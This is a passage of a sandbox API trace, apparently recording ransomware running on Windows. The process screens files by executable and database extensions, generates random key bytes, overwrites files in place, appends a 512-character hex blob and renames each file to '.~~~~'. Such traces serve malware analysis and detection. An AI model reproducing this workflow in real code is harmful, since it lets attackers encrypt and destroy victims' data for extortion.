	[0077.684] lstrlenW (lpString=".DB") returned 3
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DB") returned 0x0
	[0077.684] lstrlenW (lpString=".sql") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".sql") returned 0x0
	[0077.684] lstrlenW (lpString=".MYD") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".MYD") returned 0x0
	[0077.684] lstrlenW (lpString=".DBT") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DBT") returned 0x0
	[0077.684] lstrlenW (lpString=".ACCDB") returned 6
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".ACCDB") returned 0x0
	[0077.685] lstrlenW (lpString=".fdb") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".fdb") returned 0x0
	[0077.685] lstrlenW (lpString=".bak") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".bak") returned 0x0
	[0077.685] lstrlenW (lpString=".myd") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".myd") returned 0x0
	[0077.685] lstrlenW (lpString=".DTXS") returned 5
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DTXS") returned 0x0
	[0077.685] lstrlenW (lpString=".ckp") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".ckp") returned 0x0
	[0077.685] lstrlenW (lpString=".dbt") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dbt") returned 0x0
	[0077.685] lstrlenW (lpString=".db") returned 3
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".db") returned 0x0
	[0077.685] lstrlenW (lpString=".TXT") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".TXT") returned 0x0
	[0077.685] lstrlenW (lpString=".MDF") returned 4
	[0077.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".MDF") returned 0x0
	[0077.686] lstrlenW (lpString=".bdb") returned 4
	[0077.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".bdb") returned 0x0
	[0077.686] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.686] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.687] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.687] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.687] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19767758932) returned 1
	[0077.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98344350, dwHighDateTime=0x1d60e1e)) 
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95a8
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95a8 | out: hHeap=0x300000) returned 1
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0077.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.688] GetLastError () returned 0x0
	[0077.689] GetLastError () returned 0x0
	[0077.689] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.689] GetLastError () returned 0x0
	[0077.689] GetLastError () returned 0x0
	[0077.690] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x236, lpOverlapped=0x0) returned 1
	[0077.693] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffdca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.693] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x236, lpOverlapped=0x0) returned 1
	[0077.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.693] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.693] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.694] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.694] CloseHandle (hObject=0x118) returned 1
	[0077.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.~~~~")) returned 1
	[0077.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5240 | out: hHeap=0x300000) returned 1
	[0077.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.696] GetLastError () returned 0x0
	[0077.696] RtlWakeConditionVariable () returned 0x365f70
	[0077.696] GetCurrentThreadId () returned 0x9f4
	[0077.696] GetCurrentThreadId () returned 0x9f4
	[0077.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7ab0 | out: hHeap=0x300000) returned 1
	[0077.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95e0 | out: hHeap=0x300000) returned 1
	[0077.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ab0
	[0077.696] lstrlenW (lpString=".scr") returned 4
	[0077.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".scr") returned 0x0
	[0077.696] lstrlenW (lpString=".cmd") returned 4
	[0077.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".cmd") returned 0x0
	[0077.696] lstrlenW (lpString=".dll") returned 4
	[0077.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dll") returned 0x0
	[0077.696] lstrlenW (lpString=".bat") returned 4
	[0077.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".bat") returned 0x0
	[0077.696] lstrlenW (lpString=".cpl") returned 4
	[0077.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".cpl") returned 0x0
	[0077.697] lstrlenW (lpString=".sys") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".sys") returned 0x0
	[0077.697] lstrlenW (lpString=".msc") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".msc") returned 0x0
	[0077.697] lstrlenW (lpString=".com") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".com") returned 0x0
	[0077.697] lstrlenW (lpString=".lnk") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".lnk") returned 0x0
	[0077.697] lstrlenW (lpString=".msp") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".msp") returned 0x0
	[0077.697] lstrlenW (lpString=".pif") returned 4
	[0077.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".pif") returned 0x0
	[0077.697] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch="msp\r\n.pif") returned 0x0
	[0077.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.698] lstrlenW (lpString=".sqb") returned 4
	[0077.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".sqb") returned 0x0
	[0077.699] lstrlenW (lpString=".ost") returned 4
	[0077.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".ost") returned 0x0
	[0077.699] lstrlenW (lpString=".txt") returned 4
	[0077.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".txt") returned 0x0
	[0077.699] lstrlenW (lpString=".mdt") returned 4
	[0077.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".mdt") returned 0x0
	[0077.699] lstrlenW (lpString=".BDB") returned 4
	[0077.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".BDB") returned 0x0
	[0077.699] lstrlenW (lpString=".eql") returned 4
	[0077.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".eql") returned 0x0
	[0077.699] lstrlenW (lpString=".DBF") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DBF") returned 0x0
	[0077.700] lstrlenW (lpString=".EQL") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".EQL") returned 0x0
	[0077.700] lstrlenW (lpString=".FDB") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".FDB") returned 0x0
	[0077.700] lstrlenW (lpString=".EDB") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".EDB") returned 0x0
	[0077.700] lstrlenW (lpString=".DACPAC") returned 7
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DACPAC") returned 0x0
	[0077.700] lstrlenW (lpString=".VHD") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".VHD") returned 0x0
	[0077.700] lstrlenW (lpString=".DBV") returned 4
	[0077.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DBV") returned 0x0
	[0077.700] lstrlenW (lpString=".dacpac") returned 7
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dacpac") returned 0x0
	[0077.701] lstrlenW (lpString=".sdf") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".sdf") returned 0x0
	[0077.701] lstrlenW (lpString=".accdb") returned 6
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".accdb") returned 0x0
	[0077.701] lstrlenW (lpString=".DBX") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DBX") returned 0x0
	[0077.701] lstrlenW (lpString=".MDT") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".MDT") returned 0x0
	[0077.701] lstrlenW (lpString=".SQB") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".SQB") returned 0x0
	[0077.701] lstrlenW (lpString=".vhd") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".vhd") returned 0x0
	[0077.701] lstrlenW (lpString=".bac") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".bac") returned 0x0
	[0077.701] lstrlenW (lpString=".mdf") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".mdf") returned 0x0
	[0077.701] lstrlenW (lpString=".BAK") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".BAK") returned 0x0
	[0077.701] lstrlenW (lpString=".BAC") returned 4
	[0077.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".BAC") returned 0x0
	[0077.701] lstrlenW (lpString=".dbs") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dbs") returned 0x0
	[0077.702] lstrlenW (lpString=".vhdx") returned 5
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".vhdx") returned 0x0
	[0077.702] lstrlenW (lpString=".NDF") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".NDF") returned 0x0
	[0077.702] lstrlenW (lpString=".dat") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dat") returned 0x0
	[0077.702] lstrlenW (lpString=".DBS") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DBS") returned 0x0
	[0077.702] lstrlenW (lpString=".CKP") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".CKP") returned 0x0
	[0077.702] lstrlenW (lpString=".edb") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".edb") returned 0x0
	[0077.702] lstrlenW (lpString=".PST") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".PST") returned 0x0
	[0077.702] lstrlenW (lpString=".dbf") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dbf") returned 0x0
	[0077.702] lstrlenW (lpString=".SQL") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".SQL") returned 0x0
	[0077.702] lstrlenW (lpString=".pst") returned 4
	[0077.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".pst") returned 0x0
	[0077.703] lstrlenW (lpString=".dbv") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dbv") returned 0x0
	[0077.703] lstrlenW (lpString=".SDF") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".SDF") returned 0x0
	[0077.703] lstrlenW (lpString=".dtxs") returned 5
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dtxs") returned 0x0
	[0077.703] lstrlenW (lpString=".db3") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".db3") returned 0x0
	[0077.703] lstrlenW (lpString=".OST") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".OST") returned 0x0
	[0077.703] lstrlenW (lpString=".dbx") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dbx") returned 0x0
	[0077.703] lstrlenW (lpString=".DB3") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DB3") returned 0x0
	[0077.703] lstrlenW (lpString=".DAT") returned 4
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DAT") returned 0x0
	[0077.703] lstrlenW (lpString=".VHDX") returned 5
	[0077.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".VHDX") returned 0x0
	[0077.703] lstrlenW (lpString=".ndf") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".ndf") returned 0x0
	[0077.704] lstrlenW (lpString=".DB") returned 3
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DB") returned 0x0
	[0077.704] lstrlenW (lpString=".sql") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".sql") returned 0x0
	[0077.704] lstrlenW (lpString=".MYD") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".MYD") returned 0x0
	[0077.704] lstrlenW (lpString=".DBT") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DBT") returned 0x0
	[0077.704] lstrlenW (lpString=".ACCDB") returned 6
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".ACCDB") returned 0x0
	[0077.704] lstrlenW (lpString=".fdb") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".fdb") returned 0x0
	[0077.704] lstrlenW (lpString=".bak") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".bak") returned 0x0
	[0077.704] lstrlenW (lpString=".myd") returned 4
	[0077.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".myd") returned 0x0
	[0077.705] lstrlenW (lpString=".DTXS") returned 5
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".DTXS") returned 0x0
	[0077.705] lstrlenW (lpString=".ckp") returned 4
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".ckp") returned 0x0
	[0077.705] lstrlenW (lpString=".dbt") returned 4
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".dbt") returned 0x0
	[0077.705] lstrlenW (lpString=".db") returned 3
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".db") returned 0x0
	[0077.705] lstrlenW (lpString=".TXT") returned 4
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".TXT") returned 0x0
	[0077.705] lstrlenW (lpString=".MDF") returned 4
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".MDF") returned 0x0
	[0077.705] lstrlenW (lpString=".bdb") returned 4
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".bdb") returned 0x0
	[0077.705] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.705] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.706] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.706] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
